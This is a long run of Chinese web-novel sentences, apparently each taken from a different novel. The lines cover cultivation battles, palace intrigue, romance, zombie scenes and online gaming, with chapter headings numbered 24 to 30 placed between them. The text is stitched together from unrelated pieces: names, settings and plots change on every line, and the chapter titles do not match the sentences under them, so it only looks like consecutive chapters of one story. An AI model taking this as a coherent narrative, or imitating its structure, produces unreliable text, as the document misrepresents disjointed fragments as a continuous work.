雨凡也心动,不知道是因为昨晚跟野猴的激战未过瘾,还是刚才在台上唱歌唱的,他现在确实想找人切磋一下。
算了,想这么多干什么?走一步算一步吧。预言的真假永远要靠自己的努力,预言是一回事,自身又是一回事,万一自己不是预言中的人呢?万一是运气好呢?
第一卷 第24章 梅花破月
不光是裁判,其他人也听出了鸣人的意思,特别是双合门更是恼怒,因为按照鸣人的说法,他是要先击败双合门了。
“你的十八班手段统统怎样了?”秦永秀用一种让华绝毛骨悚然的微笑,看着华绝问道。
他立即低头俯视着树冠下方,看到嗜血魔藤疯狂吸食着巨树吸收来的鲜血,这些鲜血不是星能战士的,就是进化兽的,蕴含着精纯的力量,嗜血魔藤可谓是大口饱福,散发的气息越来越强横。
就在麒钺迟疑之际,整个魔雾中融合的金甲卫和董雪青的身影,竟然出现了三头六臂的一道巨大魔像。
“你的神驹云燕原来是高校尉送的?”我恍然大悟,难怪槿颜对那匹马儿珍重非常。
玉局祠在南边与西北桥相隔甚远,我等复回到车上,车辇沿着锦江而行。
童雲猛地惊叫一声,看着何啸的眼神充满了惊惧,身子在微微颤抖,很显然他也被刚才发生的事吓到了。
白紫菱一剑横斩,一道火焰剑气横贯三丈长,撕裂着空气爆鸣向白元桥斩去。
“这个……”静宜正要回话,却不想李艳娘抢过话头道:“回太后,昭容姐姐确实不知道兰妹妹如何受惊。”说着瞟了我一眼,故意按下了话头。
想起那日保元提到南唐使者来访,却不想六皇子从嘉也是一同来访。
“呵呵,下跪?你想多了吧?苏强,我想告诉你的是,你就算服用丹药,也不是我的对手,因为,我有比你更强大的手段。”尹是非说道。
而星辰辟穴诀的第三重,也在这次重伤恢复之中,也瞬间明悟了,这星辰辟穴诀的第三重乃是凝聚一处星辰空间,即星界,也被称为星海,如战魂空间一般。
扪心自问,他是承受不下来这样的苦难的,下场要么失心疯,要么半途而废,遗患终生。
夜佑辰说这么多,无非是想告诉陈雨,这戒指陈雨可以收,不会有什么附加条件。这下陈雨没话可说了,叹了一口气,接下了戒指。
跟着萧至寒一起出来的梁昭,听到飞影的声音,脸上露出了一丝幸灾乐祸的笑容。
通过观察,韩天宇并没有发现敌人的踪迹,攻击都是来自远方的炮火,所以无法判断敌人的规模。
看着裴镇、崔贤、郑轩等人眉头紧锁的样子,迟玄策忽然有些后悔自己那日不该那么决绝地将慕容克拒绝。
西岭剑宗与神册剑炉,虽然不像与清溪剑池那般有着血海深仇,但此番五宗大会,这么多家宗门争夺那五个位置,难保不会出现需要对战的情况。
这个明王好生嚣张,他派人来府里暗杀被抓住,现在竟然还敢亲自前来?
姜妯回到房间,走到床边拿起了自己的手机,然后盘腿坐在床上。
“这皇子不会又反蹲吧。”沙莉心里一顿,却看到皇子在一个假眼的照射下前往蓝区刷野。
实娘终于想起来了,这不就是九零后的童年阴影吗?每年夏天芒果台的容嬷嬷吗?看来自己在她身边长大,一时没注意。所以琼瑶奶奶是有生活?就能找到这么一个脸谱化的主?
“陛下圣明。”张谦忙跪下重重一礼,实娘那么生气,这是必须的。
沈池修喉结上下滚动,他勾唇笑了出来,本就有些泛红的眼角,因为展颜的笑意看上去更加惹人怜了。
听了一会儿,之后再没有什么声响传来,放下心来去往下一间屋子,是那对母子的住处。
顾瑾琛坐在办公桌前,看到盛芷柔后,没有任何寒暄和耽搁,直接开门见山。
韩双双有点梦幻的感觉,这时候才算是真的确定,抽自己耳光的是易阳。
实娘对着后头挥了一下手,米嬷嬷默默的退了出去。方云昨天说了,他们也自然要准备。
但是眼前的成北风,明显是不属于这个行列,出乎了澹台雄的意料,让澹台雄的脸色,变了又变。
烈焰青龙发出怒吼般的尖叫,仿佛被刺中了重要的地方,疼痛与暴怒声夹杂在一起,引来轰然旋风,它骤然有些疯狂,一团团烈焰便朝着魅轻离袭来。
他姬北凰从没有过心软的一天,忽的勾唇笑了,却不想今天是第一个意外。
“项链呢?”肖旷早发现东西没了,一开始以为云茉雨的鬼毛病犯了,后来一寻思,估计是丢了。
而他这次,直接出手来灭一个仙宗,自然是承受了极大的风险,也必须要搜集一切能搜集的回报。
“走吧!我们先去看看那个什么宝物的地方,要是可能的话,我们就可以一直住在这里都行,直到最后的几天,那时候想要认清方向,那是很容易的!”陈城说道。
就在叶沫认为自己是不是遇上了什么变/态大叔的时候,这时,那个全副武装的男生缓缓起身,语气中略带一丝无奈感。
‘残魂?!’梁浩脸色一白,因为当时,他杀莫若的时候,在场只有三名兽祖,这之后,又发生大战,让他一下子,忽略了这一点。
“带路吧。”洛南倒不怕赌场的人把自己生吞活剥。这么大的赌场,还是要点脸面的。
狂奔中的尘海之主,进入水中之后,几百条触手一起发力,但不管它怎么游,都还是在原地,那焦急却不得寸进的样子,在外界几人严重,看起来,颇为滑稽。
第一卷 第25章 恩主就在这里
“哪儿有这么便宜的事儿,想要见到新娘子必须先经过我们的三项考核。”林画板着脸严肃道。
此时外面人声鼎沸,早来的学生纷纷出来浪,情侣谈恋爱,单身狗吃晚饭,到处都很热闹。
若是换作别人,三头朱雀陨落所化的兽魂,足以将他们焚烧得一干二净,连渣都不会剩下。
而光明势力其实也差不多,他们是想把这个位面拉到光明神系的周围,成为一连串巨大神系位面的外围附庸位面,为光明势力提供人才和资源。
高干虽然是袁绍的外甥,算是亲戚,但是若论受重视程度,远不及自称为袁绍麾下头号军师的郭图。
安沐宸听完直接去了二楼,一上去直接踢开欧阳浩的病房,原来两个还在聊天的人,一下停止了,整个病房一下变的安静多了。
“这火焰温度高得可怕,便是渡劫期高手沾了也会被灼伤,不知道你这只火焰中诞生的妖兽,能不能抵挡得住这火焰的烧灼。”李全玩味的一笑,挥手间,天空上竟然下起了“火焰雨”。
没一会功夫,笆篱上就趴满了黑压压一片帝王蜂。密集恐惧症的患者要是见着铁定头皮发麻,那蠕动的黑色帝王蜂个顶个大密密麻麻发出一阵阵的嗡嗡声。
星尘原本是想控制雷电劈那大石的,却没想到这雷电竟然轰歪了一些,想必是自己控制还不够纯熟所导致。
“剑势!”终于,昊天还是抑制不住心中的吃惊,失声喊道。“什么?昊天兄弟你在说什么?“金泉眉头一皱,很是不解地看向昊天。
陌欢瞳窝在他怀里,闻言竟也没反对,她别过头,将侧脸紧贴在他胸膛上,安心的闭上了眼睛。
“那是,我的目标就是万花丛中过,片叶不沾身,最后花都归我,让别的叶子全部休息。”我无辜的说出了自己的理想。
暗室里另开了透气孔,在这里头并不觉得憋闷。雷芳靠墙坐了下来,好象浑身的力气都被抽干了。
成了!众人情不自禁地发出欢呼,乘它病要它命!法师部队再次发威,不把巨龙烤成肉干誓不罢休,而幸存的骑士们更是一股脑儿地冲了上去,去收割巨龙最后的血量。
徐青眉头微微一皱道:“那你以为是谁?”他从皇普兰的眼神中捕捉到了一丝诧异,看来自己的出现带给她的不是惊喜,而是惊讶。
这里乃是极寒之地,很显然不适合召唤阎罗王,召唤寒水双玄气的冰龙则是最佳的选择,最为重要的是,这样还可以掩盖身份。
“你刚刚打了我的人,现在我要打回来。”慕容含儿刁蛮的说着,就向蒙面年轻人走去。
“没有其它的办法,怪只能怪我们被他们选中了,背后更没有一个可以依靠的宗门,龙族我们得罪不起,血蝠门我们也得罪不起,玄兽门和天命,我们更得罪不起!”风万里眉头紧皱,随之又看向了云飞扬。
大风一吹,我的满头金发都随风飘散,刚刚刺到的喉咙之间并无一点异状,我邪笑的看着曹冷羽,就跟平时的正常表情一样。
假如你有过,等到你发现九个已变成三个时,你就会知道那种感觉是多么轻松了。
有一人开口,紧接着就是一口接一口,在场的数位妃子都哀求道。
听到天刹皇的询问,林渊表情变得非常沉重起来说道:“这就是我为什么首先要回收这些秘境的原因,而不是先清理掉超脱路上还存在的反叛者。
虽然最麻烦的事情暂时得到解决,但是秦阳却依旧没办法回复正常的生活,他还得为了三月之战而拼命的修行。
沙大老板是够资格杀柳乘风的人,他有钱,有武功,也有肯替他卖命的人,杀人的凶器也在他那里。
展红英的眼都气红了,拳头攥得紧紧的,想大骂沈虹腐朽的脑袋,被云凤的眼神制止。
就在这时,突然一声大叫响起,然后廖一波冲到了陈浩的腿边,抱住了他的大腿。
云凤知道云峥是个暴躁能惹事的,那个邻居的刘二也不是个好东西,是欺软怕硬,心黑手狠的货色。
为了这个目标,必须努力修炼了,一定要让他知道,压迫我们,是要付出代价的。
整把扇子拿在花九手中,叫她有种十分不舒服的感觉,因为这扇子上的灵气太饱满,已经接近于三阶上品的法器。
“岂止呢!这个火神法杖还是神器呢!”秋夜乐的手舞足蹈起来。
面前这名青年看上去不过二十许人,而刘兴宝已经是中年人,但从口气上来说他竟然是恩师刘兴宝的叔伯辈人物,那岂不就是刘兴宝所说“家乡”之人?
那年轻人指了指胡强的身后,胡强回过头一看,一间公用厕所正好立在那里,这谎话说的可真不巧。
强子在琛哥的身后愣住了,心道放你们走已经是天大的优惠了,这家伙还敢提条件,是不是真把金碧辉煌当病猫了!就算你功夫再高,也抵不住咱人多吧?
第一卷 第26章 出海
周末的晚上,一家人吃完晚饭后去城里散步,走到桥边时,叶妙忽然听见120救护车的响声从身后传来,应该是在急救某个患者。
他和主子出生入死,替他挡过多少灾祸,他曾经救过主子无数次,甚至为了他差点命丧大燕。
男人这会儿仿佛已经是心疼到无以复加,甚至连话都说不出来了。
火焰在废墟中燃烧着,除了一些四处游荡的丧尸以外,几乎没有任何幸存者的痕迹。座城市很明显在不久前遭遇了一场毁灭性的大灾难,而这些丧尸也彻底入侵了这座城市。
之前在那监控室里并没有听到说话,所以下意识的就以为这就是普通的监控。有画面,但是没有声音。现在看来这里的监控比她想象的更全面一些。甚至连员工说了什么都知道。
正是搬家的时候,米建国交给她那张……母亲与两个军人的合影。
费彬大手一挥,门下弟子长剑微抬,眼看着便是血光四溅,身首异处的惨境。
当张家良一行到达纺织厂时,纺织厂的董事长顾瑞卿和丝锦公司的董事长任长海早已等在了那里,他们同样着急,听到消息之后立即就乘飞机赶了过来,当然了,首先赶到的也仅只是一些高层领导,其他的人正陆续到来。
李嘉玉喝了不少酒,带着微醺醉意, 双颊粉红,眼波潋滟,她似乎刚说完什么,笑着冲大家摆了摆手,众人安静下来。
“欧廷,我的名字。”欧廷沉沉的目光落在于忧脸上,好心的帮她叫完整自己的名字。
“我们,我们,就是在厨神酒店里,玩了一晚上。”赵子弦这解释完,还不如不解释。
富士财团是源于安田财团,安田财团在二战后重新注资,恢复了日产康采恩的运作。
多亏黄巾人员成分复杂,营寨混乱,有些二测玩家混着混着,竟然还真的混成了黄巾。
在赵子弦治疗手臂的这段日子里,每次叶若来,都是王珞丹陪着,所以,两人的关系也很好,至少是朋友,直接姐妹儿那样的关系,怕是王珞丹接受不了。
让朱灵琪想办法拖延威震天,看似是强人所难,但却不是真的不可能,以朱灵琪的指挥能力,再加上她的阵法带来的加成,大地精骑士们倒是真的有可能拖延住威震天。
烟雨瞧见宣夫人神色,知道是自己让婆婆觉得没面子了。赶紧翻身跪好。
走到那张宽大的双人床前,雪代取出一张灵符,双指夹紧,猛的拍在床面上。
苏易楠听她的话,额头上的青筋又跳了跳,古怪了的看了一眼乔清。
乔宋紧紧地抓住苏寅政的手,鼻尖酸涩的难受,为什么连短暂的幸福都不愿意给她,她不过是想和苏寅政好好的在一起,哪怕只有一天时间,为什么都不可以呢?
杨伟年龄不到三十岁,就能坐稳家族公司华南总经理的位置,也算是心机深沉之辈。
听到夏封那穿透空间传入自己耳中的声音,那人嘴角勾勒出丝丝嘚瑟的笑容。
可是他抓空了,因为老刀把子连人带椅都已滑了出去,就像是急流上的皮筏般突然滑了出去,那沉重的木椅就好像已在他身上。
万年巨蟒紧紧的挨着白灵儿坐下,不停的吃着白灵儿的豆腐和白灵儿则忙着灵巧的避开他,两人就像是在玩着猫捉老鼠的游戏。
就在白枫想要强行缓冲掉身上的力量时,他周身的空间咔咔作响起来,然后破碎把他吞了进去。
陈浩出现,光头男也看到了他,然后喉咙鼓动了一下,眼中满是震撼和绝望,还有深深的后悔。
毕竟,洛星月不管多大了,但是在自己的眼中,始终是和自己孩子同辈的人。
老头一愣,旋即就感觉到,自己的法力也动不了了,原本握在手里的刀,也松开掉落,然后他蹲坐在地上,一脸懵逼。
听着如此脱线的交流,就连洛老都是忍不住哈哈大笑了起来,一时间,所有人的表现又都重新归于了毫无所谓,只不过,这是否就是他们内心的真实写照,那就不得而知了。
毕竟能在年纪轻轻做到这个程度的人可绝对不是简单货色,代涛不认为一个一穷二白的人能够做到这些,唯一的解释就是他有着足够的资源支持,简单的说,他就是有很强的背景。
A极英雄的甜心假面坐在办公室,面色不耐的看着对边的工作人员。
明明最开始就给了全部的情报,但安南却没有猜出来。那么等到安南意识到这件事的时候,就一定会为此而感到懊悔……就像是从最开始,就有人告诉你凶手就在你身边,但一直到最后才反应过来。
“啪!”还未说完,脸上突然被响起清脆一声,一道纤细的手印出现。
只是出门在外,她也不具备这样的条件。所以,她只能尽力保持自己身边使用的东西干燥洁净。
“会一点。”苗茶在苗府中生活的时候一直不如意,很多时候都是她和灵儿自己动手做饭。
这也是药师兜,那么迫切想立功的原因了,他不要求多厉害,只需要获得悠久的寿命即可。
第一卷 第27章 此人不收,原路退回
任剑走了之后,高明独自在办公室呆了一阵。又认真地考虑了一会儿辞职的事,然后就给杨伟打了电话。杨伟一听到这个消息先是很吃惊,但紧接着就兴奋起来。
无论是谁,哪怕是跟他同样战斗力的超强者,也无法从自己的绿光世界中透出,然而,他没想到,就在这个时候,陈锋居然笑了。
极阴之地是东方的说法,只有武僧们才会这样称呼某些地方,巫师们更多是用负能量领域来形容。不过史蒂芬还是喜欢用极阴之地,因为他觉得这个名气明显要更有气势很多。
不管了,船到桥头自然直,先到了那边再说吧!我觉得大概率的可能是我们这些试炼者,也可以充当NPC一样,直接去触发一些隐藏道具和隐藏剧情。
“分!”谢夜雨左手朝前一挥,一股究极力量就飞了出去,一道竖立着的月牙朝着海浪飞去,一下子把海浪斩成了两半,谢夜雨趁势飞了过去。
我是想着后面的剧情,接下来就要面对夏侯惇这个曹魏阵营名义上的“第一猛将”了。
江寒停下了往外走的步伐,转身向着山洞深处走去,现在这山洞还是一样的漆黑,只是江寒早已今非昔比,神识之力扫出,一切都尽在脑中,非常清晰。
她妈听了这话一撇嘴,说你们也别假模假样的了,家里明明什么都没有,让我们吃什么?
高明说你说得都对,根本不是我愿意不愿意的问题,我的具体条件你也知道,所以这事还真得好好考虑考虑。
而且朱莉亚等人的发现,极大刺激了其他生态调查队的工作积极性。
幻神幸运星设计图,竟然在井盖的任务里,或者说,在哥布林的宝藏里?
王队不由的笑了笑,原本林风还安排了话术,套他话,让他说出他姐夫的事情。
不用进村,两人就看见成片的甘蔗立在地里,有许多眼看着就干瘪了都没人收,沈清浅都觉得可惜。
少爷在朝中,特立独行,有皇上、有霍王爷罩着,那些大臣,还有皇后以及皇子们都敬怕他,他与相爷,更是八竿子不相往来,平素里也不结怨,这突然暴揍林相的人,真是奇怪。
有二之前先有一,这部纪录片的开头在向观众们介绍何为“南音说唱”的同时,也回顾了拍在12年前的第一部内容。
听了开头的几句唱词,那狼烟四起,兵荒马乱的情景,就如同是一张画卷般在人的眼前徐徐展开,这让许老不禁倒吸一口凉气,整颗心都揪了起来。
弓弦拉开,阵法中的水雾和水元素也是聚集而来,形成一支冰蓝色的箭矢,散发着不弱的气息。
说起来,这还是这段时间里阿太第一次半夜没醒来,一觉安稳的睡到了天亮的,连带着自己和保姆王阿姨都“蹭”了一个好觉。
林风一边安慰着自己,说不定接下来就会欧气爆发,开出什么极品至尊道具。
霍天凌的动作僵住,保持了好几秒钟原地不动的姿势,才松开了手。
因为提起了自己的本行,黑瘦老兵似乎又想起了一些心中的痛楚,越说越是激动。
翌日大早,兵锋直指长安,数日后抵达长安郊外。朱智率梁州军随后赶到,于中军大营左翼扎营,然后衣不解带,立刻来拜见徐佑。
“乃香,梅川是第一次到中国来,有点害怕所以在酒店里。要不你请假和我去看看吧,正好说一说你们双休的事情。”松岛风因为怕这种事情被外人知道,所以说的是日语,听的我们都是一头雾水。
而这还不是最恐怖的,众人落下的地方正是药田的下方,那头顶上空正是异兽王的巨大躯体和药田,只要异兽王的躯体落下,只怕所有人都要被压成肉饼。
吴越随着人流漫无目的地向前而行,不知不觉来到了坊市之中,连续几排散修仙人盘腿坐在地上,而在他们的面前放着各式的法宝,功法,奇特的草药,零星的天材地宝等物。
“周运我来帮你!”此刻,雷母虽然知道对抗仙君是件硬茬,但还是一如既往的冲了过来。
轰天宫的宫主是一个儒雅的中年人,更是一个先天境巅峰的宗师。
不过让这家伙回神庙,似乎比杀了他还要让他恐惧,似乎那个中心神庙藏着极度可怕的东西,他硬是不敢回去,当然周运也有招,直接废了他一条手,他也老老实实的领着周运去了。
这个村上家族,原本也是倭国的有名家族,有悠久的历史,名下企业也很多,实力很雄厚。
这样,冷然索性不走了,决定把抽烟的时间无偿奉献给不远处的车主。他倒要看看到底是个什么样的人哟?他吐了一长串的烟圈,耐心地等了起来。
第一卷 第28章 冲锋铁木船
对“步履颤颤者”具有慑服力的,也许只有这位教法『精』辟的苯教密宗大师。谢可芳对此人打从心里感到恐惧,畏缩到咱的身旁。
去年卖的是湿紫菜,今年卖干紫菜,价钱自然高了一截,在寒冷中哆嗦的乡亲们,怨归怨,却没人落下剪菜活,看着紫菜烘干后现场变成一沓沓钞票,已经把寒冷丢到一旁,干劲十足。
露娜脸上露出幸福的笑容,她跟查理的感情从来不是一帆风顺,万幸的是……经历了那么多,最终还是坚守彼此。
叶枫屁颠屁颠的跑了过来,队内首席主罚任意球的专家嘛,当然需要他的配合了,也许他会主罚也说不定。
缚勋欢天喜地的等着跟她畅想一下未来的生活,却没料到,得到的却是一句轻骂,他又是一愣。
下一刻,在铿然的震鸣声中,鬼鸦剑被震成了十七八截,而大部分的碎片,都留在了水蝶兰体内。
雨伞收起来放在『门』口,几位大姨子正忙着清扫。她们边忙边说是岳父岳母今天会回来,蓝子嗔怪怎么不打电话给她,可以让人开车去县城接他们。
“这世上有了想象力,一切都成为可能。你是呆在家里接受他们的顶礼膜拜。还是本人过来验明一下真身?”谢杏芳在电话那头咯咯大笑,唯恐天下不‘乱’似的,揶揄的笑声很夸张。
“我不反悔,答应你的每一件事情,都会做到,你别哭了,好吗?”此刻除了安抚她,凌墨锋的脑海里再没有别的东西可想了。
“龙尘,你个白痴给老子住口!妈的,你龙尘是什么东西,你又有何资格来评判那些人的不是呢?
对于这种人,崔斌其实根本就不想出手,要不是这些人想要去欺负任欣露,他才懒得理会。
不过作为总教官,崔斌有最后一手能控制住局势,便是带领部下前来三道河。如果那种情况,崔斌就必须推出赵统到台前掌控。不过也会受到很严重的惩罚,毕竟军中的人再管理城市太过分了。
说着,琼斯的脸上露出了些许的兴奋,挺起胸膛开始继续念动咒语,这一次他要准备一个杀伤力足够强,但咒语也很长的术法,力求将北夜给一招杀死。
也未必是他的对手,但是这次却碰撞到了硬茬,不但身体没有受损,甚至他自己也没有感受到任何的疼痛,这让他感到十分的震惊。
杨佳琪带着叶蓝秋的道歉视频,陪着陈若兮去学校采访后,又回到节目制作中心。
巨龙的咆哮,四周的雪鹰变得越发不安,往往这个时候,将要有大事发生,他们虽然没有成为妖王,却拥有灵智,自然能感受到雪龙的怒火。
许意没有理会他,直接将手放在他的手腕上,然后就被滚烫的温度吓了一跳。
看着两个技能显现出来子弹的空隙,楚歌嘴角露出了不易让人察觉的冷笑。
她相信柳吟笑这句提点绝对是发自真心,也相信其他老师同昆仑学院的弟子也说过类似的话。
张鸿雁苦笑了一下,现在不信冷子越又能怎么办,她还有别的办法吗?冷子越很明显就是她最后的依靠。
不过跟黎响在一起这些年了,自己男人是个什么样的品性,没有人比苏聿函更了解了,他不是那种有点钱就花心的男人,他对爱情是忠诚而纯净的,不会有所隐瞒,更不会背叛。
“高傲个屁!等会老子就让你比最下贱的婊子还像婊子!”光头身边的一个黑衣人在嘴里骂了一句,光头也不屑的一笑,跟在了吴奇的身后。
每一次只要是中国的这些团伙和他们日本本土的社团发生冲突,最后的结果往往是日本的黑道组织用报警来结束这样的厮杀,这对中国的黑道来讲,不得不说有点搞笑。
药枕项目是理想集团的主打,黎响发家就是靠这个项目,所以对它倾注的心血也是最多。
“看见了,不就是大户家的房椽子吗?我这个是啥做的,李四你也猜猜?”那张三不服气,把自己的火把也举起给李四看。
现在理想空气净化器在市场上还属于新秀,名气还不够,这也不是一蹴而就的事情,需要慢慢去积攒人气,拓展销路,以后还有很长的一段路要走,黎响也不着急。
萧博翰摇摇头,感觉有点反常,但他绝对想不到蒙铃因为他晚上的约会正在不舒服呢,哪能过来提醒他,到是希望他去迟了才好,让那个苏曼倩多坐一会冷板凳。
既然定要作出选择,尹俊枫此时也是别无选择。深处异地,没有办法离开,除了选择,此时的他还能做什么呢?
“师傅您这说的什么话,有什么事情,您尽管吩咐。”电话对面的人,声音听起来很尊敬。
现在,雷虎也是处于最关键的修炼状态,也是绝对不能受到有任何的惊扰。还好就是斯罗安之前在雷虎身前所布下的防护层的防御非常强大,所以在这股强大的威势的些许波及影响中还能若无其事。
这一道雷电似乎将苗‘玉’凤劈懵了,她身上的灵力护罩也变得若有若无,大片的肌肤‘裸’‘露’出来。
“青龙,我可还需做什么?”冷月再次出声。从握着自己的手,她知道墨然真的很痛。痛的颤栗。
第一卷 第29章 真是个人才
“做的也不是常事呀,奸淫掳掠,无所不为,如果我没猜错的话,这血里一定有毒。”说着九叔还把血给擦掉了。
陈勃的话音未落,寒芒已经将那团影子完全打散,空气里的所有异味也都跟着一起消失殆尽。
打开对战列表看了看,对方在今天已经又打了好几局排位,刚刚结束的一局也正好断了之前的一串连胜,不过从战绩看来,这把的战败也只能怪队友实在太坑,确实不能把锅硬甩到他身上。
叶七以前也是个乞丐,或者说是灾民,他知道其中的苦楚,但是呢,更加相信叶檀,所以,叶檀的话一出口,他就跑出去办了。
确切的说,那是周遭怨气根据自己内心的愧疚,凝聚出来的假象,而自己一直忘记从刚才开始,妖瞳就没有被开启过。
狄璐卡跳跃起来,使出浑身的力气,挥舞着散发风之力的尼伯龙根。斯鲁德身体微微前倾,举起雷瓦丁。雷瓦丁上面也用着同样属性的力量,应对着尼伯龙根的风刃。斯鲁德很罕见的没有使用压倒性的力量,纯粹依靠着技巧。
仿佛没了那些诡异怪诞的事件相伴,没有和若水在一起的日子,没有蛊后、血尸等人的不时出现,自己有种行尸走肉般的感觉。
这突然的一推,陆洋差点一个踉跄摔倒,一下子跳了起来,往后退了几步。他不是郭荣汪武这样的猛人,叫他面对面与丧尸拼杀他是不敢的,除非万不得已。
当球过来的时候,卢卡雷利用头顶轻轻一蹭,改变了球的方向,巴勒莫的门将毫无办法,只能看着卢卡雷利把球蹭进了网窝。
“呵呵。”刘封拍拍他的肩膀,转身向那扫地的学子走去,把门丁给吓了一身冷汗。
“你的废话真的很多。”幽泉似乎有些不耐烦:“不想打就给老夫滚开。
现在他是把自己融入到风中,以风神腿的步法踏风而行,只要有风元素的地方,他就可以随意的出没,甚至连武皇都没把握碰到他的身体。
几十辆巨大的龟甲战车冲过警戒线后排成了一道坚固无比的移动防线,在他们的掩护下,拜伦的攻城骑兵们们几乎没受到什么损伤便,‘逼’近了警戒线内。
“想不到你还敢来我无双城。”独孤寒带着杀气看着聂少,上次无双城损失了几个武皇,上头可是震怒了,要不是因为一些事情耽搁了他们早就杀上邪宗了。
没有坚定信仰的人是无法做到这一点的,看起来努尔哈赤在他们的心目中大概就像神一样的高贵吧,为了他可以毫不犹豫的放弃自己的性命。
有些心结,就算是以林树现在进步到不知什么程度的精神系能力也无法解开,只能让他自己想清楚一切,才能真正从悲恸的阴影走出来。
就这样,我把雾岛和她的送到了遗体的化妆室,然后自己退了出来。
“那我们三家是不是有人曾经进入过教会的圣殿修炼呢。”凤晴天吃惊道。
在许晋阳住进来之前,她觉得自己做饭,自己工作没什么,但现在做起来,每一个细节,都让她有心无力。
不过,叶青这只是心中的直觉,并没有确凿的证据能证明,对方跟雪野家族有关系。
赵长老和凌长老的眼珠子几乎都要凸了出来,不能置信地看着叶进头顶上的云光。
凌宇明还想说什么,突然门口响起敲门声,陈尚虎和凌宇明两人同时皱了下眉头,他们显然认为这敲门的是茶馆的服务员,尽管有些不豫,但还向何立军看了眼,示意他去开门。
“呵呵,不是哥哥吹嘴,虽然洗了手,但在岭南那一亩三分地上,还从未有人敢冒犯老子!”宗兆林油光满面,充满富态,却偏偏喜欢吃红烧肉,夹了一大块肥肉放入嘴里,一边嚼得冒油,一边扬头说道。
众人往屋里走,跟在林锦鸿身后的罗非诧异的看了眼王基身边的两人。
陆为在一旁冷眼观望,看高大老者修为是凝丹中期,想来就是万家家主万永鹤。
太夫人哪想到情势逆转,孙子居然变成了庶子,一口气堵在了胸口,指着柳梦寒,手臂不断哆嗦,嘴里一句完整的话都说不出来。
“你说的是柳世敏,他又怎么啦?”周副巡视员听了几句,便已明白冯天麟说得是谁。
宏宣帝这才释然,笑骂了一句:“没出息!”又叫了人给大皇子上了一杯茶。
他们在正面作战上面,或许要差一些,但偷袭刺杀,却是无往不利。
秦宴辞望着应姒姒眉眼含笑,她真聪明,总能在他被人为难解围。
第二,我要和英国国王签署具有约束力的秘密条约并且,这项条约还要经过大汉仙帝的批准和保障。
陈澈无话可说,眼珠一转,连忙拿起一块芝麻酥,一口吞下,大拇指一伸,不停地夸赞糕点好吃。
其实,这事儿也不怪陈澈,他所学的历史上打肿脸充胖子的皇帝太多了,和务实的云梦世界完全是两码事。
第一卷 第30章 卖个人情
“这萧羽与我家族结了恩怨,一定要死!!”丘比丘心中一下子坚定。
“那是什么?”萧羽心中大吃一惊,在精神力探知下,萧羽清晰地‘看’到很多条形的物体极从海底中游来,速度比一些领悟了度玄奥的强者没有多说差距。
王铁山,罗氏家的房子面积,因为王老头和王宝山的官司后赔偿,王铁山家里原来旁边的王宝山家的空地便给了他家,后面也有王老头家原来的地方,也给了他家。
周道看见这人转身逃走也是一愣,然后一招江水东流远远击去。远远看去就好像一条水龙冲像前面的障碍。
“可是娘娘她,未必会答应吧,雁栖,你不是不知道娘娘的性子,她是真的死心塌地的爱着陛下,现在又让她再嫁给江王,我恐怕她会想不开……”乔寒烟的眼睛朝着屋子里瞥了一眼,说道。
“这样的度就算是领悟了速度玄奥的强者也是差不多。”贾斯丁也是惊讶道。
强哥给光头说完,光头皱着眉头看着强哥,最后点了点头,转过身朝着身后的手下挥了挥手,离开了。这倒是让我很诧异,强哥这是想干什么?
地面上的一切,仅仅是余波造成,而两箭相撞的中心,却能听得见“咔嚓咔嚓”的响声不断,似乎就连这空间,也如大地一般,被炸裂了。
“蛟龙法杖!”青衫老者表情似乎很是严肃,可见对手中的这根法杖视如珍宝。但萧羽却哪里知道这根法杖可算得上是亚神器了,一般九级魔导师如果拥有这根法杖甚至可以与圣阶中级大魔导争斗白来回合,但不可能胜利。
不管是何事情,只要能有应下的余地,能不与这神秘强者为敌,雪狼王心中都不打算回拒。
虽然最后,当可儿的灵魂消散后,我莫名的很伤感很心碎,还流了许多眼泪,但还是不知道因为什么。
懒散的躺在付炎身边,梦璐偏着脑袋,一语道破了付炎想法的另一层意思。
“呵呵,那是你对战斗的理解太肤浅了,真正的战斗可不是单纯的力量和速度的比拼,一些战斗技巧和发力窍门也都是极为重要的。”刘零拿了一瓶农夫山泉牌矿泉水扔给麦克让他解渴。
果然视频中显示的就是昨天晚上林峰在美坚利华尔街上发表的长篇大论,夏若兮看的热血沸腾又胆战心惊,林峰也太那个了吧,刚把人家的股市闹的天翻地覆,还没消停一会,你又到人家地盘上露脸,这不是拉仇恨嘛。
就像一块蓝色海绵浸入水里,得需要好长时间的消磨,才会释解一点淡蓝。
林影嘿嘿一笑,一路的心酸在见到自己的母亲之后,尽皆化的烟消云散。
这个时候燕轻舞本人也是在这个地方,很显然那天夜里生的事情对于他而言并没有造成太大的威胁,毕竟李寺的力量可以说是极为的强大,根本就不是寻常人能够拥有的。
“冰,我,我只是,只是”洛雪俏脸微红,低头不敢看墨冰。再抬头却发现,墨冰已经离开了。
音铃踏着积雪回到张子衡和甘兰身边,他们二人早已睡下,于是坐了下来,慢慢闭上双眼,进入混沌之态。
盛佳慧只听到风声呜呜,扯动自己满头的乌发,紧紧闭着眼睛向下落去,飞珠溅玉,瞬间都落在自己的脊背上,洒湿自己的肌肤和泳装。
海皇则是融入海水中,彻底得与海水交融,要不是道境神识的话,谁也无法将之分辨。
威压如同磅礴的汪洋,挤压着虚空,无数妖族,瞬间被剑光斩灭,化成齑粉,远处逃跑的几尊大妖,大部分亦是未能逃出生天。
像是做了一个很长的梦,梦中似乎又做了另外一个很长的梦。在这很长很长的梦境中,荷悦却清清楚楚地记住了点点滴滴。
齐云目光看向自己的双手,只觉得这具身外化身体内的力量恐怕可以和自己的本体一较高下。
尤龙的族叔在抱怨过后,慢慢走到了那个背部骨骼断裂,龙骨被抽出一半的敖融旁边。
话还没说完,荷哲的心中已经掀起了滔天巨浪。这位莫灵溟大人,还有莫家,曾经都与他有过一段不愿提及的往事。他端起酒杯,一口饮尽,极力掩盖着自己内心的不安。表情归于平静。
虽然莫庭用了非常强硬的手段告诉明兰,这辈子,除了孟晓晓,谁都不要,但是明兰显然不会甘心。
八位金仙闻言俱都是齐齐施展法力,下一刻道道禁制铺天盖地飞出,将那先天灵宝的气机遮掩住。
冥冥之中,她已经承接下了天苍玄灵经所带来的因果,即便是放弃修行,也是于事无补。
“假的?外面可都在传,当今的容公主可是最得圣上与太子恩宠的,圣上都说了,容公主的婚事,只能是越走越高的。”江希安也是笑着说道。这么说也是为了解除云伟业的担心。
所以,除了这些厉害的功法之外,不时还会打来一道莫名其秒的攻击,让二师兄不厌其扰。
这脚步声越来越近,只见一支约有四五百人的队伍,穿过此时已洞开的城门,向这边跑来。
